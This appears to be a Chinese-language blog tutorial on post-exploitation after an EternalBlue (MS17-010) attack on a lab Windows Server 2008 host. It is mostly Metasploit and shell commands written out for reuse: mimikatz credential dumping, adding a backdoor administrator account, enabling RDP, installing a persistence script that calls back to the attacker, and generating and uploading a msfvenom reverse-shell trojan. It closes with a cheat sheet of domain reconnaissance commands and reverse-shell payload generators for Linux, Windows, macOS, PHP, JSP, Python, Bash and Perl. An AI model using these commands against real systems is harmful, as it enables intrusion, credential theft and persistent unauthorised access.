大家好,我们在前面的章节中已经了解了如何使用永恒之蓝渗透进系统的后台,拿到shell,步骤和思路都很简单,没什么难度,属于初学阶段,我们本章节就开始加大难度,给目标靶机留后门,并且维持权限。好的,我们废话不多说,直接进入正题。
真实演练环境均为实体机,因为我没设备,所以只能在虚拟的环境中进行操作演示。
实验机网络环境为内网环境,不与外网相通。
kali Linux | 192.168.163.139 |
Windows server 2008 R2 | 192.168.163.58 |
交换机(虚拟机环境略过) |
渗透机与靶机互相Ping通:
我们已经将环境布置完成,现在进入实战阶段。
使用MS17-010漏洞验证模块验证主机是否存在该漏洞。
进入msf框架,使用MS17-010的漏洞验证模块。
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
设置验证参数:
show options ##查看可以或必须设置的参数
这里提示,必须设置的参数中,唯有rhosts目标主机IP地址没有设置,我们设置目标主机的IP地址为“192.168.163.58”,为靶机的IP。
set rhost 192.168.163.58
执行验证,验证成功:
我们已经验证了目标靶机是可以利用这个漏洞攻击的,我们进行漏洞利用。
退出当前模块而不退出msf框架。
back 1
选择使用漏洞利用模块。
use exploit/windows/smb/ms17_010_eternalblue
设置更不容易被发现的攻击载荷
set payload windows/x64/meterpreter/reverse_https
再次查看参数,设置参数
这次需要设置的参数有一个,还是目标靶机的IP:但是为了我们实验的严谨性,我再把监听服务端的IP重新设置为渗透机本机的IP。
执行攻击,在经历了一段跑代码的界面后,成功进入met控制台》
到此,我们已经进入了靶机的后台,接下来就是后渗透阶段。
sysinfo
load mimikatz
获取管理员密码:
旧版本kali(2023以下):wdigest
新版本kali(2023):creds_wdigest
ipconfig /all
查看当前系统权限
whoami
创建后门用户:
在shell中执行命令:
net user 123 P@ssw0rd /add
在shell中执行命令:
net localgroup administrators 123 /add
靶机用户管理界面:
后门用户创建完成。我们可以直接使用rdesktop登录远程桌面,如果3389端口没开启的话,需要在后渗透控制台利用模块开启,当然吗,在shell中也是可以开启的。
在msf中利用模块开启3389端口:
run post/windows/manage/enable_rdp
这样就开启成功,shell中开启的方法大家可以自行百度。
植入持续后门,隔10秒靶机服务器将向渗透机的3306端口发起连接,建立请求。
meterpreter > run persistence -X -i 10 -p 3306 -r 192.168.137.127
打开新窗口(ctrl+shift+t),调用监听模块:
search exploit/multi/handler
use exploit/multi/handler or use 0
设置监听载荷:我们选用反向TCP。
set payload windows/meterpreter/reverse_tcp
我们查看并设置必须参数:
show options
可以看到模块中的“lport”参数不对,“lhost”是空的,我们把它给设置正确:
set lport 3306
set lhost 192.168.137.133
检查参数,是否设置正确:
show options
执行:
run
执行监听后,我们需要去永恒之蓝的控制台尝试重启靶机,让监听上线。
靶机重启后会一并加载之前的持续后门。我们在msf中尝试重启目标靶机:
reboot
这里显示报错,报错码为1314,百度一下,得知报错1314是由于权限不够,重启失败,那我们换一种方法:尝试终止lsass.exe进程,让系统进入异常重启状态。
lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。注意:lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。
我们先查看靶机进程:
ps
这里我们看到lsass.exe的PID是被80,在msf控制台终止进程:
kill 480
此时靶机已经退出了登录,然后重启:
重启完成:
按照靶机管理员的习惯,一般会重新进入桌面。
返回kali,看到还没有上线。
我们分析原因,推测是由于系统安全机制拦截所致。我们手动将脚本复制到开机启动项中:
后门维持脚本生成的默认路径:
C:windows/temp/
不知道为啥,我这没看到。
我换另一种方法:上传.exe木马
使用msfvenom生成木马:
msfvenom -a x86 --platform -p windows/meterpreter/reverse_tcp LHOST=192.168.137.133 LPORT=6820 -f exe -o /home/kali/Desktop/shell.exe
生成完成,保存路径在kali的桌面:
我们通过前面获取到的shell上传这个木马文件到目标靶机192.168.137.127主机上
upload /home/kali/Desktop/shell.exe C:\
上传完成:
直接运行。
我们返回msf控制台的监听控制台(第一次尝试监听的模块),查看需要调整的参数。
show options
我们前面生成的端口是6820 ,我们需要重新设置
set lport 6820
返回前面的shell,进入靶机执行shell.eming
shell
cd ../..
shell.exe
返回监听模块,执行。
看到没有反应,分析:端口状态异常
我们返回靶机,关闭防火墙。
很遗憾,在我的虚拟环境并没有成功。大家在监听到回传shell后,就完成了后门植入的过程。
给大家附上内网信息搜集会使用到的命令。
附上内网的一般信息收集命令:
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
常见类型木马生成
linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machoWeb Payloads
php
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
Scripting Payloads
python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
1.msf攻击永恒之蓝漏洞时由于自己搭建环境不是很稳定需要多次尝试。
2.使用msfvonom 生成木马时,payload选择。
3.监听时设置的payload和生成木马时必须一致。
好了,本章节到这里就结束啦,相信大家在看完本章后,对后渗透阶段的思路和实战已经变得很熟练了,小编在这里提前祝贺各位坚持看完本章节的友友们,感谢友友们的支持,我会继续努力的!